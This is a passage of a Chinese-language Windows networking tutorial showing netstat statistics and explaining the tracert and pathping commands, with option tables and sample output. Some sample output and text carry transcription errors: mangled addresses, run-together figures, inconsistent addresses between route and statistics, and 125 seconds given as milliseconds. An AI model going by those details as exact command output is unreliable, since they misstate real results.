  TCP CORP1:1606 172.16.105.245:nbsession ESTABLISHED
  TCP CORP1:1632 172.16.48.213:nbsession ESTABLISHED
  TCP CORP1:1659 172.16.48.169:nbsession ESTABLISHED
  TCP CORP1:1714 172.16.48.203:nbsession ESTABLISHED
  TCP CORP1:1719 172.16.48.36:nbsession ESTABLISHED
  TCP CORP1:1241 172.16.48.101:nbsession ESTABLISHED
  UDP CORP1:1025 *:*
  UDP CORP1:snmp *:*
  UDP CORP1:nbname *:*
  UDP CORP1:nbdatagram *:*
  UDP CORP1:nbname *:*
  UDP CORP1:nbdatagram *:*
  
  C:>netstat -s
  IP Statistics
  
  Packets Received = 5378528
  Received Header Errors = 738854
  Received Address Errors = 23150
  Datagrams Forwarded = 0
  Unknown Protocols Received = 0
  Received Packets Discarded = 0
  Received Packets Delivered = 4616524
  Output Requests = 132702
  Routing Discards = 157
  Discarded Output Packets = 0
  Output Packet No Route = 0
  Reassembly Required = 0
  Reassembly Successful = 0
  Reassembly Failures =
  Datagrams Successfully Fragmented = 0
  Datagrams Failing Fragmentation = 0
  Fragments Created = 0
  
  ICMP Statistics
  Received Sent
  Messages 693 4
  Errors 0 0
  Destination Unreachable 685 0
  Time Exceeded 0 0
  Parameter Problems 0 0
  Source Quenches 0 0
  Redirects 0 0
  Echoes 4 0
  Echo Replies 0 4
  Timestamps 0 0
  Timestamp Replies 0 0
  Address Masks 0 0
  Address Mask Replies 0 0
  
  TCP Statistics
  
  Active Opens = 597
  Passive Opens = 135
  Failed Connection Attempts = 107
  Reset Connections = 91
  Current Connections = 8
  Segments Received = 106770
  Segments Sent = 118431
  Segments Retransmitted = 461
  
  UDP Statistics
  
  Datagrams Received = 4157136
  No Ports = 351928
  Receive Errors = 2
  Datagrams Sent = 13809
  
  使用 tracert 跟踪网络连接
  Tracert(跟踪路由)是路由跟踪实用程序,用于确定 IP 数据报访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。
  
  Tracert 工作原理
  通过向目标发送不同 IP 生存时间 (TTL) 值的“Internet 控制消息协议 (ICMP)”回应数据包,    Tracert 诊断程序确定到目标所采取的路由。要求路径上的每个路由器在转发数据包之前至少将数据包上的 TTL 递减 1。数据包上的 TTL 减为 0 时,路由器应该将“ICMP 已超时”的消息发回源系统。
  
  Tracert 先发送 TTL 为 1 的回应数据包,并在随后的每次发送过程将 TTL 递增 1,直到目标响应或 TTL 达到最大值,从而确定路由。通过检查中间路由器发回的“ICMP 已超时”的消息确定路由。某些路由器不经询问直接丢弃 TTL 过期的数据包,这在Tracert 实用程序中看不到。
  
  Tracert 命令按顺序打印出返回“ICMP 已超时”消息的路径中的近端路由器接口列表。如果使用 -d 选项,则 Tracert 实用程序不在每个 IP 地址上查询 DNS。
  
  在下例中,数据包必须通过两个路由器(10.0.0.1 和 192.168.0.1)才能到达主机172.16.0.99。主机的默认网关是 10.0.0.1,192.168.0.0 网络上的路由器的 IP地址是 192.168.0.1。
  
  C:>tracert 172.16.0.99 -d
  Tracing route to 172.16.0.99 over a maximum of 30 hops
  1 2s 3s 2s 10,0.0,1
  2 75 ms 83 ms 88 ms 192.168.0.1
  3 73 ms 79 ms 93 ms 172.16.0.99
  Trace complete.
  用 tracert 解决问题
  可以使用 tracert 命令确定数据包在网络上的停止位置。下例中,默认网关确定 192.168.10.99 主机没有有效路径。这可能是路由器配置的问题,或者是 192.168.10.0 网络不存在(错误的 IP 地址)。
  
  C:>tracert 192.168.10.99
  
  Tracing route to 192.168.10.99 over a maximum of 30 hops
  
  1 10.0.0.1 reportsestination net unreachable.
  
  Trace complete.
  
  Tracert 实用程序对于解决大网络问题非常有用,此时可以采取几条路径到达同一个点。
  
  Tracert 命令行选项
  Tracert 命令支持多种选项,如下表所示。
  
  tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
  
  选项 描述
  -d 指定不将 IP 地址解析到主机名称。
  -h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
  -j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
  -w timeout 等待 timeout 为每次回复所指定的毫秒数。
  target_name 目标主机的名称或 IP地址。
  
  详细信息,请参阅使用 tracert 命令跟踪路径。
  
  使用 pathping 测试路由器
  pathping 命令是一个路由跟踪工具,它将 ping 和 tracert 命令的功能和这两个工具所不提供的其他信息结合起来。pathping 命令在一段时间内将数据包发送到到达最终目标的路径上的每个路由器,然后基于数据包的计算机结果从每个跃点返回。由于命令显示数据包在任何给定路由器或链接上丢失的程度,因此可以很容易地确定可能导致网络问题的路由器或链接。某些选项是可用的,如下表所示。
  
  选项 名称 功能
  -n Hostnames 不将地址解析成主机名。
  -h Maximum hops 搜索目标的最大跃点数。
  -g Host-list 沿着路由列表释放源路由。
  -p Period 在 ping 之间等待的毫秒数。
  -q Num_queries 每个跃点的查询数。
  -w Time-out 为每次回复所等待的毫秒数。
  -T Layer 2 tag 将第 2 层优先级标记(例如,对于 IEEE 802.1p)连接到数据包并将它发送到路径中的每个网络设备。这有助于标识没有正确配置第 2 层优先级的网络设备。-T 开关用于测试服务质量 (QoS) 连通性。
  -R RSVP isbase Che检查以确定路径中的每个路由器是否支持“资源保留协议 (RSVP)”,此协议允许主机为数据流保留一定量的带宽。 -R 开关用于测试服务质量 (QoS) 连通性。
  
  默认的跃点数是 30,并且超时前的默认等待时间是 3 秒。默认时间是 250 毫秒,并且沿着路径对每个路由器进行查询的次数是 100。
  
  以下是典型的 pathping 报告。跃点列表后所编辑的统计信息表明在每个独立路由器上数据包丢失的情况。
  
  D:>pathping -n msw
  
  Tracing route to msw [7.54.1.196]
  over a maximum of 30 hops:
  0 172.16.87.35
  1 172.16.87.218
  2 192.68.52.1
  3 192.68.80.1
  4 7.54.247.14
  5 7.54.1.196
  
  Computing statistics for 125 seconds…
  Source to Here This Node/Link
  Hop RTT Lost/Sent = Pct Lost/Sent = Pct Address
  0 172.16.87.35
  0/ 100 = 0% |
  1 41ms 0/ 100 = 0% 0/ 100 = 0% 172.16.87.21813/ 100 = 13% |
  2 22ms 16/ 100 = 16% 3/ 100 = 3% 192.68.52.10/ 100 = 0% |
  3 24ms 13/ 100 = 13% 0/ 100 = 0% 192.68.80.1 0/ 100 = 0% |
  4 21ms 14/ 100 = 14% 1/ 100 = 1% 10.54.247.14 0/ 100 = 0% |
  5 24ms 13/ 100 = 13% 0/ 100 = 0% 10.54.1.196
  
  Trace complete.
  当运行 pathping 时,在测试问题时首先查看路由的结果。此路径与 tracert 命令所显示的路径相同。然后 pathping 命令对下一个 125 毫秒显示忙消息(此时间根据跃点计数变化)。在此期间,pathping 从以前列出的所有路由器和它们之间的链接之间收集信息。在此期间结束时,它显示测试结果。
  
  最右边的两栏 This Node/Link Lost/Sent=Pct 和 Address 包含的信息最有用。172.16.87.218(跃点 1)和 192.68.52.1(跃点 2)丢失 13% 的数据包。 所有其他链接工作正常。在跃点 2 和 4 中的路由器也丢失寻址到它们的数据包(如 This Node /Link 栏中所示),但是该丢失不会影响转发的路径。
  
  对链接显示的丢失率(在最右边的栏中标记为 |)表明沿路径转发丢失的数据包。该丢失表明链接阻塞。对路由器显示的丢失率(通过最右边栏中的 IP 地址显示)表明这些路由器的 CPU 可能超负荷运行。这些阻塞的路由器可能也是端对端问题的一个因素,尤其是在软件路由器转发数据包时。